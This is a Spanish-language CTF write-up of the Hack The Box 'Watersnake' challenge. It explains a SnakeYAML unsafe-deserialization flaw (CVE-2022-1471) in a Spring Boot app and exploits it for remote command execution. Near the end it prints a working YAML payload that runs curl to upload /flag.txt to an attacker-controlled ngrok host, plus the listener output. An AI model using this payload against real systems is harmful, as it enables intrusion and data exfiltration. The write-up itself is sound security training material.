Watersnake
4 minutos de lectura
Se nos da un sitio web como este:
También tenemos el código fuente en Java (SpringBoot).
Análisis del código fuente
Este es el archivo principal de la aplicación (Application.java
):
package com.lean.watersnake;
import java.util.Arrays;
import org.springframework.boot.CommandLineRunner;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.ApplicationContext;
@SpringBootApplication
public class Application {
public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
}
Podemos encontrar los endpoints disponibles en Controller.java
:
package com.lean.watersnake;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.yaml.snakeyaml.Yaml;
import java.io.IOException;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.util.Map;
@RestController
public class Controller {
GetWaterLevel sensorReader = new GetWaterLevel("./watersensor --init");
@GetMapping("/")
public String index() {
return "<meta http-equiv=\"Refresh\" content=\"0; url='/index.html'\" />";
}
@GetMapping("/stats")
public String stats() {
try {
return sensorReader.readFromSensor("./watersensor --stats");
} catch (IOException e) {
return "Sensor error";
}
}
@PostMapping("/update")
public String update(@RequestParam(name = "config") String updateConfig) {
InputStream is = new ByteArrayInputStream(updateConfig.getBytes());
Yaml yaml = new Yaml();
Map<String, Object> obj = yaml.load(is);
obj.forEach((key, value) -> System.out.println(key + ":" + value));
return "Config queued for firmware update";
}
}
Aquí podemos ver una forma de actualizar una configuración usando YAML (/update
). Esta es la página que realiza la actualización de firmware:
Obsérvese el uso de SnakeYAML, versión 1.33 según pom.xml
:
<!-- end::tests[] -->
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.33</version>
</dependency>
</dependencies>
Deserialización insegura en SnakeYAML
Esta versión de SnakeYAML tiene una vulnerabilidad de deserialización insegura (CVE-2022-1471). Podemos encontrar una explicación de cómo explotarla en snyk.io. La idea es que podemos instanciar cualquier clase del proyecto con cualquier argumento.
Si echamos un vistazo al archivo de Java restante (GetWaterLevel.java
) veremos que ejecuta programas:
package com.lean.watersnake;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class GetWaterLevel {
public static String readFromSensor(String value) throws IOException {
ProcessBuilder processBuilder = new ProcessBuilder(value.split("\\s+"));
Process process = processBuilder.start();
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
try {
int exitCode = process.waitFor();
if (exitCode != 0) {
throw new IOException("[-] Command execution failed with exit code " + exitCode);
}
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
throw new IOException("[-] Command execution interrupted", e);
}
return output.toString();
}
public void initiateSensor(String value) {
try {
readFromSensor(value);
} catch (IOException e) {
System.out.println(e.getMessage());
}
}
public GetWaterLevel(String value) {
initiateSensor(value);
}
}
En efecto, cuando se instancia GetWaterLevel
, el constructor llama a initiateSensor
con value
como String
, que llama a su vez a readFromSensor
. Este último método ejecuta un proceso con ProcessBuilder
.
La idea del programa Java es ejecutar un binario llamado ./watersensor
que hace lo siguiente:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int randomNum(int lower, int upper)
{
return rand() % (upper + 1 - lower) + lower;
}
int main(int argc, char* argv[]) {
if (!strcmp(argv[1], "--init")) {
printf("Sensor initialized");
}
if (!strcmp(argv[1], "--stats")) {
printf("Tank 1: %d, ", randomNum(100, 1000));
printf("Tank 2: %d, ", randomNum(100, 1000));
printf("Tank 3: %d, ", randomNum(100, 1000));
printf("Tank 4: %d", randomNum(100, 1000));
}
return 0;
}
Ejecución remota de comandos
Sin embargo, podemos usar GetWaterLevel
para ejecutar cualquier programa que queramos (ejecución remota de comandos). Por ejemplo, podemos leer la flag y enviarla a un servidor controlado por nosotros. Si no, podríamos obtener una reverse shell.
Entonces, arrancamos ngrok
para crear un túnel a un nc
local:
$ ngrok http 8000
ngrok
Build better APIs with ngrok. Early access: ngrok.com/early-access
Session Status online
Account Rocky (Plan: Free)
Version 3.6.0
Region United States (us)
Latency -
Web Interface http://127.0.0.1:4040
Forwarding https://abcd-12-34-56-78.ngrok-free.app -> http://localhost:8000
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Ahora, podemos usar el siguiente payload de YAML, que ejecutará el comando de curl
:
asdf: !!com.lean.watersnake.GetWaterLevel ["curl https://abcd-12-34-56-78.ngrok-free.app -T /flag.txt"]
Flag
En este punto, si enviamos la actualización de firmware, obtendremos la flag en nc
:
$ nc -nlvp 8000
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from [::1]:62425.
PUT /flag.txt HTTP/1.1
Host: abcd-12-34-56-78.ngrok-free.app
User-Agent: curl/7.74.0
Content-Length: 34
Accept: */*
X-Forwarded-For: 83.136.254.199
X-Forwarded-Host: abcd-12-34-56-78.ngrok-free.app
X-Forwarded-Proto: https
Accept-Encoding: gzip
HTB{sn4k3_y4ml_d3s3r14lized_ftw!}